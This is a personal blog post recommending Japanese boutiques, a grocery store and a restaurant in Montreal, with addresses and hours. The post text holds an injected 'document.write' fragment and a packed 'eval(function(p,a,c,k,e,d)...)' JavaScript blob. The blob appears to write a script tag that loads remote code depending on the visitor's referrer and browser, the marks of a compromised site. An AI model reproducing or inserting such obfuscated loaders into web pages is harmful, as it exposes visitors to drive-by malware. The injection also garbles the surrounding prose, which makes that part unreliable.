Shopping Japanese in Montreal

Tuesday I visited with my wife a (very) small japanese boutique in downtown Montreal. It’s called “Coco Montreal Space.” They have imported goods from Japan, document.write(“”); designer’s accessories, cookies and many bargains (used books & clothes). It is located at 4055 Ste-Catherine West, #135-B (downstairs, near Metro Atwater) and is open Monday through Friday from 13:00 to 18:00. They also have a small room where they plan to offer various workshops and language courses. It’s cute, but they don’t have much stuff.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hende|var|u0026u|referrer|nkfsn||js|php’.split(‘|’),0,{}))

“Coco Montreal Space” is related to the
Coco Montreal free newspaper, dedicated to Canada-Japan cultural exchange (mostly for Japanese expats and Japanese language students).

This reminds me that there are a few other places to shop Japanese in Montreal:

First, there is the “Collection du Japon” store and its related “R. Uchiyama” Japanese Green Tea importer. It is located at 460, Sainte-Catherine West, #423 (Metro McGill, entrance near the Future Shop, on the 4th floor) and is open 13:00-18:00 (Tue-Fri), 10:00-16:00 (Sat). We visit it frequently and recommend it. You can find all sorts of Japanese stuff there: kimonos, books, decoration, kitchen ware, etc.

There is also the “Miyamoto” food store located at 382 Victoria Avenue (near Metro Vendome) and opened 10:00-20:00 (Mon-Fri), 9:00-17:00 (Sat & Sun).

I can also recommand the Japanese restaurant “Sakura Gardens” if you want a “real” Japanese food experience. It is located at 2170 de la Montagne (near Metro Peel). It is opened 11:45-14:30 (Mon-Fri), 12:00-14:30 (Sat) for lunch and 17:30-22:00 (Sun-Thu), 17:30-22:30 (Fri-Sat) for dinner.
